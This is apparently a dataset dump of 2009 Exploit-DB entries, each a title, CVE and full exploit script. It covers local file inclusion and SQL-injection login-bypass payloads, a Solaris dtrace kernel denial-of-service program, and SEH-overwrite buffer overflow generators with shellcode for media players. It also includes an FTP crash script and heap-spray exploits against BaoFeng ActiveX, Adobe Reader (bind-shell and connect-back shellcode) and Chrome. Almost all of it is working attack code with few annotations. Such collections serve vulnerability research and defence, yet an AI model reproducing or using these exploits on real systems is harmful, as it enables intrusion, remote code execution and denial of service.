QLWD/code_shield huggingface dataset:
标题: pecio CMS 1.1.5 - 'index.php?language' Local File Inclusion EDB-ID: 8593 CVE: 2009-1519 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-01 漏洞利用脚本: #######################################################################################################
[+] pecio cms 1.1.5 (index.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
#######################################################################################################

[+] Local File Inclusion

   PoC :

     http://127.0.0.1/[path]/install/index.php?step=2&language=../../../../../../../BOOTSECT.BAK%00

########################################################################################################

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8593
标题: Solaris 10 / OpenSolaris - 'dtrace' Local Kernel Denial of Service (PoC) EDB-ID: 8597 CVE: 2009-1478 类型: DOS 平台: SOLARIS 发布日期: 2009-05-04 漏洞利用脚本: /* solaris-dtrace-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Solaris >= 10/Opensolaris local kernel DoS POC
 * by mu-b - Mon 17 Nov 2008
 *
 * - Tested on:  Sun Solaris 10 (SPARC)
 *               Sun OpenSolaris <= snv_113 (x86)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

#include <dtrace.h>

#define DTRACE_HELPER "/dev/dtrace/helper"

static unsigned int changes = 0;

void *
hammer (void *arg)
{
  struct dof_hdr *phdr;

  phdr = arg;
  while (1)
    {
      phdr->dofh_loadsz = -1;
      changes++;

      usleep (10);
    }
}

int
main (int argc, char **argv)
{
  union {
    struct dof_hdr hdr;
    unsigned char buf[256*1024];
  } hdr_t;
  struct dof_hdr *phdr;
  int i, fd, n, tid;

  printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fd = open (DTRACE_HELPER, O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "failed opening %s\n", DTRACE_HELPER);
      return (EXIT_FAILURE);
    }

  phdr = &hdr_t.hdr;
  memset (phdr, 0, sizeof *phdr);

  memcpy (&phdr->dofh_ident, DOF_MAG_STRING, DOF_MAG_STRLEN);
  phdr->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_LP64;
  phdr->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
  phdr->dofh_ident[DOF_ID_VERSION] = DOF_VERSION_2;
  phdr->dofh_ident[DOF_ID_DIFVERS] = DOF_VERSION_2;
  phdr->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
  phdr->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;
  phdr->dofh_secsize = 1024;
  phdr->dofh_secnum = 1024;
  phdr->dofh_secoff = 0x7fffffffffff0000;

  n = pthread_create (&tid, NULL, hammer, phdr);
  if (n < 0)
    {
      fprintf (stderr, "failed creating hammer thread\n");
      return (EXIT_FAILURE);
    }

  for (i = 0; ; i++)
    {
      phdr->dofh_loadsz = sizeof hdr_t / 2;
      n = ioctl (fd, DTRACEHIOC_ADD, phdr);
      assert (n == -1);

      if (!(i % 64))
        printf ("tried %d-times, %d-changes\r", i, changes);
    }

  /* not reached! */
  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8597
标题: Beatport Player 1.0.0.283 - '.m3u' Local Stack Overflow (3) EDB-ID: 8592 CVE: 2009-4756 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-01 漏洞利用脚本: #!/usr/bin/perl
# Beatport Player 1.0.0.283 (.M3U File) Stack Core Overflow Exploit(SEH)
# Work Only in WIN SP2 FR
# Credit to SirGod The Discover
# Stack The exploiter
# Whalna rire m3a lprogram mati khdeme hta ti chiyeb lpc :d
# After exec the exploit wait some sec for see the cmd executed :d
use strict;
use warnings;
# win32_exec -  EXITFUNC=seh CMD=cmd Size=32 Encoder=Stack http://Sysworm.com =>> http://www.milw0rm.com/exploits/8078
my $shellcode =
"\x8B\xEC\x33\xFF\x57".
"\xC6\x45\xFC\x63\xC6\x45".
"\xFD\x6D\xC6\x45\xFE\x64".
"\xC6\x45\xF8\x01\x8D".
"\x45\xFC\x50\xB8\xC7\x93".
"\xBF\x77\xFF\xD0";
my $junk = "\x41" x 1232;
my $next_seh="\xeb\x06\x90\x90";
my $seh  = "\x44\x25\xD1\x72"; #
my $nops = "\x90" x 4;
my $nopsled = "\x90" x 20;
open(my $playlist, "> seh_exploit.m3u");
print $playlist
                    $junk.$next_seh.$seh.$nops.$shellcode.$nopsled.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8592
标题: Beatport Player 1.0.0.283 - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 8588 CVE: 2009-4756 类型: DOS 平台: WINDOWS 发布日期: 2009-05-01 漏洞利用脚本: #####################################################################################################
#                   Beatport Player 1.0.0.283 (.M3U File) Local Stack Overflow PoC
#                           Discovered by SirGod   -   www.mortal-team.net
# Error log :
#
#         Logged at Friday, May 01, 2009 14:03:17
#         FileVersion: 1.0.0.283
#         ProductVersion: 1.0.0.0
#         Exception Code: 0xC0000005
#         Exception Addr: 0x001B:0x004317F0
#         Exception Module: TraktorBeatport.exe
#         Exception Description: EXCEPTION_ACCESS_VIOLATION, Attempt to read from address 0x000002BC
#         The memory could not be "read"
#   http://www.brothersoft.com/beatport-player-download-62319.html         
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8588
标题: Mercury Audio Player 1.21 - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8578 CVE: 2009-4754 类型: DOS 平台: WINDOWS 发布日期: 2009-04-30 漏洞利用脚本: ###################################################################################
####      Mercury Audio Player 1.21 (.M3U File) Local Stack Overflow PoC      #####
####       Discovered by SirGod  -  www.mortal-team.net                       #####
###################################################################################
my $chars= "A" x 1104;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";

# milw0rm.com [2009-04-30] URL: https://www.exploit-db.com/exploits/8578
标题: Beatport Player 1.0.0.283 - '.m3u' Local Overwrite (SEH) EDB-ID: 8590 CVE: 2009-4756 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-01 漏洞利用脚本: #usage: exploit.py
# Grab the exploit file into the program
print "**************************************************************************"
print " Beatport Player 1.0.0.283 (.m3u) Seh Overwrite Exploit\n"
print " Refer: http://www.milw0rm.com/exploits/8588\n"
print " Exploit code: His0k4\n"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: TO ELITE ALGERIANS,snakespc.com\n"
print "**************************************************************************"
          
   
buff = "\x41" * 1232
next_seh = "\xEB\x06\x90\x90"
seh = "\xB8\x15\xD1\x72" #msacm32.drv

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe8"
"\x61\xfb\x36\x83\xeb\xfc\xe2\xf4\x14\x89\xbf\x36\xe8\x61\x70\x73"
"\xd4\xea\x87\x33\x90\x60\x14\xbd\xa7\x79\x70\x69\xc8\x60\x10\x7f"
"\x63\x55\x70\x37\x06\x50\x3b\xaf\x44\xe5\x3b\x42\xef\xa0\x31\x3b"
"\xe9\xa3\x10\xc2\xd3\x35\xdf\x32\x9d\x84\x70\x69\xcc\x60\x10\x50"
"\x63\x6d\xb0\xbd\xb7\x7d\xfa\xdd\x63\x7d\x70\x37\x03\xe8\xa7\x12"
"\xec\xa2\xca\xf6\x8c\xea\xbb\x06\x6d\xa1\x83\x3a\x63\x21\xf7\xbd"
"\x98\x7d\x56\xbd\x80\x69\x10\x3f\x63\xe1\x4b\x36\xe8\x61\x70\x5e"
"\xd4\x3e\xca\xc0\x88\x37\x72\xce\x6b\xa1\x80\x66\x80\x91\x71\x32"
"\xb7\x09\x63\xc8\x62\x6f\xac\xc9\x0f\x02\x9a\x5a\x8b\x61\xfb\x36")

exploit = buff + next_seh + seh + shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8590
标题: Mercury Audio Player 1.21 - '.m3u' Local Stack Overflow EDB-ID: 8583 CVE: 2009-4754 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-01 漏洞利用脚本: #usage: exploit.py
#Note : Exploit take about 30 seconds to work.
print "**************************************************************************"
print " Mercury Audio Player 1.21 (.m3u) Seh Overwrite Exploit\n"
print " Refer: http://www.milw0rm.com/exploits/8578"
print " Exploit code: His0k4"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: TO ELITE ALGERIANS (TixxDZ),snakespc.com\n"
print "**************************************************************************"

          
buff = "\x41" * 16740
next_seh = "\xEB\x06\x41\x42"
seh = "\xB8\x15\xD1\x72" #msacm32.drv


# win32_exec -  EXITFUNC=seh CMD=calc Size=158 Encoder=PexFnstenvMov http://metasploit.com
shellcode = (
"DZ27DZ27"+"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x22\xd1\xdc"
"\x59\x83\xeb\xfc\xe2\xf4\xde\x39\x98\x59\x22\xd1\x57\x1c\x1e\x5a"
"\xa0\x5c\x5a\xd0\x33\xd2\x6d\xc9\x57\x06\x02\xd0\x37\x10\xa9\xe5"
"\x57\x58\xcc\xe0\x1c\xc0\x8e\x55\x1c\x2d\x25\x10\x16\x54\x23\x13"
"\x37\xad\x19\x85\xf8\x5d\x57\x34\x57\x06\x06\xd0\x37\x3f\xa9\xdd"
"\x97\xd2\x7d\xcd\xdd\xb2\xa9\xcd\x57\x58\xc9\x58\x80\x7d\x26\x12"
"\xed\x99\x46\x5a\x9c\x69\xa7\x11\xa4\x55\xa9\x91\xd0\xd2\x52\xcd"
"\x71\xd2\x4a\xd9\x37\x50\xa9\x51\x6c\x59\x22\xd1\x57\x31\x1e\x8e"
"\xed\xaf\x42\x87\x55\xa1\xa1\x11\xa7\x09\x4a\x21\x56\x5d\x7d\xb9"
"\x44\xa7\xa8\xdf\x8b\xa6\xc5\xb2\xbd\x35\x41\xd1\xdc\x59")

#[*] x86/alpha_mixed succeeded with size 126 (iteration=1)
egghunter=(
"\x89\xe5\xda\xd9\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x45\x36\x4d\x51\x48\x4a\x4b\x4f\x44\x4f\x51\x52\x46\x32\x42"
"\x4a\x45\x52\x46\x38\x48\x4d\x46\x4e\x47\x4c\x45\x55\x51\x4a"
"\x44\x34\x4a\x4f\x48\x38\x47\x34\x50\x5a\x50\x32\x50\x37\x4c"
"\x4b\x4b\x4a\x4e\x4f\x43\x45\x4b\x5a\x4e\x4f\x42\x55\x4b\x57"
"\x4b\x4f\x4d\x37\x41\x41")

exploit = buff + shellcode + next_seh + seh + egghunter + "\x90"*7

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit+".mp3")
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8583
标题: Addonics NAS Adapter FTP - Remote Denial of Service EDB-ID: 8584 CVE: 2009-4753 类型: DOS 平台: HARDWARE 发布日期: 2009-05-01 漏洞利用脚本: #!/usr/bin/python
######################################################
# Addonics NAS Adapter FTP server DoS
# Tested against NASU2FW41 Loader 1.17
# Coded by Mike Cyr, aka h00die
# mcyr2     at           csc         dot_____________com
# Notes: Since the HTTP server was so vulnerable, is
#        this really a suprise?
# Greetz to muts and loganWHD, I tried harder
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily
# Log: Vendor notification March 25, 2009
#      Vendor response March 26, 2009
#    Milw0rm release May 1, 2009
######################################################

import socket
import sys

buffer= 'a'
counter=1

ip = raw_input("IP: ")
un = raw_input("Username: ")
password = raw_input("Password: ")

print "Vulnerable commands"
print "1. rmdir"
print "2. delete"
print "3. rename"
command = raw_input("Command to crash (#): ")

if command == "1":
 print "fuzzing " + ip + " with command rmdir"
elif command == "2":
 print "fuzzing " + ip + " with command delete"
elif command == "3":
 print "fuzzing " + ip + " with command rename"
else:
 print "your an idiot"
 sys.exit(1)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.2.101',21))
print s.recv(1024)
s.send('USER ' + un + '\r\n')
print s.recv(1024)
s.send('PASS ' + password + '\r\n')
print s.recv(1024)
if command == "1":
 while len(buffer) <=512:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('XRMD ' + buffer + '\r\n')
 print 'rmdir ' + buffer + '\r\n'
elif command == "2":
 while len(buffer) <=523:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('delete ' + buffer + '\r\n')
elif command == "3":
 while len(buffer) <=526:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('RNFR ' + buffer + '\r\n')
 answer=s.recv(1024)
 s.send('RNTO ' + buffer + '\r\n')
 answer=s.recv(1024)
if (answer == "550 Requested action not taken.\r\n"):
 print "Stack smashed"
else:
 print "fail: " + answer
s.close()

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8584
标题: BaoFeng - ActiveX 'OnBeforeVideoDownload()' Remote Buffer Overflow EDB-ID: 8579 CVE: 2009-1612 类型: REMOTE 平台: WINDOWS 发布日期: 2009-04-30 漏洞利用脚本: #
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
#
# Problem DLL    :     mps.dll
# Problem Func   :   OnBeforeVideoDownload()

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<input type="button" onclick="test()" value="test" />
<script>
function test()
{
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
      
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
  
    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 4150)
        buffer+="\x0c\x0c\x0c\x0c";
    target.OnBeforeVideoDownload(buffer);
}
</script>
</body>
</html>

# milw0rm.com [2009-04-30] URL: https://www.exploit-db.com/exploits/8579
标题: Tiger Dms - Authentication Bypass EDB-ID: 8571 CVE: 2009-1503 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-29 漏洞利用脚本: ==============================================================================
DDDDD  OOOO  SSSS      DDDD     ZZZZZZ    TTTTTTTTT EEEEE       A      MM   MM
D    D o  O  S         D   D        Z         T     E          A A     M M M M
D    D o  o  SSSS [**] D    D      Z          T     EEEEE     AAAAA    M  M  M
D   D  o  o     S      D   D      Z           T     E        A     A   M     M
DDDD   oooO  SSSS      DDDD      ZZZZZZ       T     EEEEE   A       A  M     M
==============================================================================
-------------------------------------[+]
Home:http://www.tigerdms.com/download.php
Product: Tiger DMS   
home:www.h4ckf0ru.com
Note:  I test it On Localhost Because ThE Demo is not Worked :)

-------------------------------------
Tiger DMS (auth Bypass) SQL Injection Vulnerabilities
-------------------------------------
File:
-----
Login.php


Vuln:
----
if (isset($r_username)){
$selog = mysql_query("SELECT * FROM $prefix"."users where username='$r_username' and password='$r_password'");
$num_rows = mysql_num_rows($selog);
    if ($num_rows == 1){
    $nona=mysql_fetch_array($selog);
    $_SESSION["aut"] = $nona["type"] ;
    $_SESSION["nick"] = $nona["username"];
    $_SESSION["name"] = $nona["name"];
    $_SESSION["id"] = $nona["id"];
    header("Location: index.php");

exploit:
--------

http://localhost/[path]/login.php

username:' or '1=1

Password:' or '1=1


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu -ViRuS_Dz
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-29] URL: https://www.exploit-db.com/exploits/8571
标题: mpegable Player 2.12 - '.yuv' Local Stack Overflow (PoC) EDB-ID: 8568 CVE: 2009-4758 类型: DOS 平台: WINDOWS 发布日期: 2009-04-29 漏洞利用脚本: # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### ###
# #  mpegable Player 2.12 (YUV File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### # ##
my $chars= "A" x 1104;
my $file="goldm.yuv";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-29] URL: https://www.exploit-db.com/exploits/8568
标题: Adobe Reader 8.1.4/9.1 - 'GetAnnots()' Remote Code Execution EDB-ID: 8569 CVE: 2009-1492 类型: REMOTE 平台: LINUX 发布日期: 2009-04-29 漏洞利用脚本: //##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
//- attach the following script to the OpenAction of the pdf.
//##############

var memory;
function New_Script()
{

//if(adobe9)//adobe reader 8 works also with app.setTimeOut?
var startwith = app.alert('Hi');//required for adobe9

    var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one ;)
    var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444

    while(nop.length <= 0x100000/2) nop+=nop;
    nop=nop.substring(0,0x100000/2 - shellcode.length);

    memory=new Array();
    for(i=0;i<0x6ff;i++)  //we should at least overwrite 0x90909090
    {memory[i]=nop + shellcode;}

//start exploit now
start();

function start()
{
    this.getAnnots(-134217728,-134217728,-134217728,-134217728);
}

}

//############################

# milw0rm.com [2009-04-29] URL: https://www.exploit-db.com/exploits/8569
标题: Adobe 8.1.4/9.1 - 'customDictionaryOpen()' Code Execution EDB-ID: 8570 CVE: 2009-1493 类型: REMOTE 平台: LINUX 发布日期: 2009-04-29 漏洞利用脚本: //##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//##############

var memory;
function New_Script()
{
 var nop = unescape("%u9090%u9090");
var shellcode = unescape("%uc92b%ue983%ud9ee%ud9ee%u2474%u5bf4%u7381%uc513%u4871%u83a5%ufceb%uf4e2%uaaf4%ue61b%u1b96%ucf4a%u29a3%u44c1%uf108%ufcdb%u4e75%u2585%u088c%ufeb1%u199f%ua442%u88da%ucd2e%ucac4%uc30b%uf896%u15a9%u21a3%uf619%u904c%u680b%u2345%u8a20%u02ea%ucd20%u13ea%ucb21%u924c%uf61a%u904c%uaef8%uf108%ua548");//443 on 10.1.31.249

 while(nop.length <= 0x10000/2) nop+=nop;
 nop=nop.substring(0,0x10000/2 - shellcode.length);

 memory=new Array();
 for(i=0;i<0x6ff0;i++)
 {memory[i]=nop + shellcode;}

//start exploit now
start();

function start()
{
 this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141 ;)
}

}

//############################

# milw0rm.com [2009-04-29] URL: https://www.exploit-db.com/exploits/8570
标题: S-CMS 1.1 Stable - 'page' Local File Inclusion EDB-ID: 8566 CVE: 2009-1502 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-29 漏洞利用脚本: [~] S-Cms 1.1 Stable (page) LFi
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 29.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

file:

s-cms/plugin.php

code:

$page=$_GET['page'];        ( error 1 )


$sql_select_plugin_case= mysql_query("SELECT * FROM ".$prefix."_plugins WHERE active = '1' AND file='$page'");

if ($sql_select_plugin_case){

include "plugins/$page";    (error 2 )

exp:

yildirimordulari.com/s-cms/plugin.php?page=[File]

for demo:

http://www.nonsolomazzini.altervista.org/s-cms/plugin.php?page=[LFi]


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / dafgamers.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-04-29] URL: https://www.exploit-db.com/exploits/8566
标题: Google Chrome 1.0.154.53 - Null Pointer Remote Crash EDB-ID: 8573 CVE: 2009-1514 类型: DOS 平台: WINDOWS 发布日期: 2009-04-30 漏洞利用脚本: <html>
<head>
<title>Google Chrome 1.0.154.53 "throw exception" Remote Crash and Denial of Service -  </title>
<script language="JavaScript">
 var nop_sled=unescape("%u9090");
 var shellcode_sled=unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u0065");
 for(var i=0;i<64;i++){
  nop_sled=nop_sled+nop_sled;
  document.write('<script>throw nop_sled+shellcode_sled;</scr'+'ipt>');
 }
</script>
</head>
<body>
<center><h1> Google Chrome 1.0.154.53 "throw exception" Remote Crash and Denial of Service</h1>
<h2> Executing NOP Sled and Shellcode to create an Exception</h2>

<h2> SecNiche Security (C) Aditya K Sood </h2>
</center></body>
</html>

# milw0rm.com [2009-04-30] URL: https://www.exploit-db.com/exploits/8573